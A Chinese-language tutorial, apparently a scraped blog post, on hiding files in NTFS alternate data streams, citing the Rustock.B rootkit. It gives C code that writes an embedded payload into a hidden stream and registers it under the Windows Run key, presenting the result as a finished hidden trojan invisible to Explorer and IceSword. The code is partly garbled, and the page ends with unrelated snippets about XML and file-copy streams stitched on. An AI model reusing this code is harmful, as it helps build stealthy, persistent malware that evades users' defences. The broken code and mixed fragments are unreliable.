基於檔案流的檔案隱藏技術
---------x-star(cisrg)
最近在分析乙個國外的
rootkit --rustock.b.rootkti時,
發現rustock.b
就用的ads stream
的方法來隱藏自身.
rustock.b.rootkit
執行的時候在
ntfs
檔案系統中釋放
c:/windows/system32:lzx32.sys
這個流,
而這個流在
windows explorer
中根本看不到這個流
,但是這個檔案是確實存在的
,而且也是可以被執行的
.這樣就實現了隱藏了.
雖然這也不是什麼新鮮的技術了
,但是還是有必要記錄一下
,必竟還不是有太多人了解
.而且也會常常被人忽略.
那麼什麼是
ads流
? microsoft
又為什麼要在
ntfs
檔案系統中用到這個流呢?
其實這個流就是alternate data streams(交換資料流).
ntfs交換資料流(adss)是為了和macintosh的hfs檔案系統相容而設計的,它使用資源派生(resource forks)來維持與檔案,比如說圖示及其他的東西.而微軟提供了一種方法通過windows explorer來建立特殊的adss,檢測這種特殊的adss的必要工具和功能相當缺乏.說來也奇怪,系統一直以來都有允許使用者建立adss以及在這種流檔案
.microsoft knowledgebase 中q101353號文章承認了基於api的win32不能很好的支援adss.中執行隱藏**的功能和工具相關的資訊
好了. 現在我們已經對這個流有個概念性的了解,下面開始講解如何在病毒程式或者其它木馬程式中應用這個流.
char buffer="c://windows:b.exe";//
注意這裡的
: 而不是/
hfile hfile = _lcreat(buffer,0);
hrsrc rsrc;
hglobal hglobal;
unsigned char * lpvoid;
dword dfilesize;
rsrc = findresource(null,makeintresource(idr_rs_data1),"rs_data");
if (rsrc==null)
hglobal = loadresource(null,rsrc);
dfilesize = sizeofresource(null,rsrc);
lpvoid = (unsigned char *)lockresource(hglobal);
uint uwrite;
while(dfilesize--)
lpvoid++; }
if(hfile==hfile_error)
_lclose(hfile);
hkey phkey;
long keyopen = regopenkeyex(
hkey_current_user,
"software//microsoft//windows//currentversion//run",0,key_set_value,&phkey );
if(keyopen!=error_success)
regsetvalueex(phkey,"b.exe",0,reg_sz,(const unsigned char *)buffer,sizeof(buffer));
regclosekey(phkey);
//return 0;
通過這個程式
,我們就能建立乙個
ads檔案流了
(這裡的資源檔案檔案我用的是記事本程式).
重啟之後
,你就會發現記事本程式自動執行了
.但是在檔案系統中你根本找不到這個檔案.而且
icesword
也看不到.
這樣乙個基於
ads交換流的隱藏木馬就完成了.
但是這個流有乙個侷限就是只存於在基於
ntfs
的windows
系統中.
基於檔案流的檔案隱藏技術
alternate data streams 交換資料流 ntfs交換資料流 adss 是為了和macintosh的hfs檔案系統相容而設計的,它使用資源派生 resource forks 來維持與檔案,比如說圖示及其他的東西.而微軟提供了一種方法通過windows explorer來建立特殊的ad...
IO流技術 檔案複製
複製文字檔案。既然是文字涉及編碼表。需要用字元流。操作的是檔案,涉及硬碟。有指定碼表嗎?沒有,預設就行。操作的是檔案,使用的預設碼表。使用哪個字元流物件。直接使用字元流操作檔案的便捷類。filereader filewriter public class copytextfiletest publi...
基於流的XML檔案操作筆記
xmlreader與 sax讀取器類似,不過前者是提取模式 只進唯讀的游標 後者是推送模式 將事件推送到應用程式 xmlreader的優點是 1 簡化狀態管理 2 可以有多個輸入流 3 提取模式可以作為推送模式的基礎,反之不行。4 提供乙個可以將字串直接寫入緩衝區,避免多餘位元組的的複製。5 有選擇...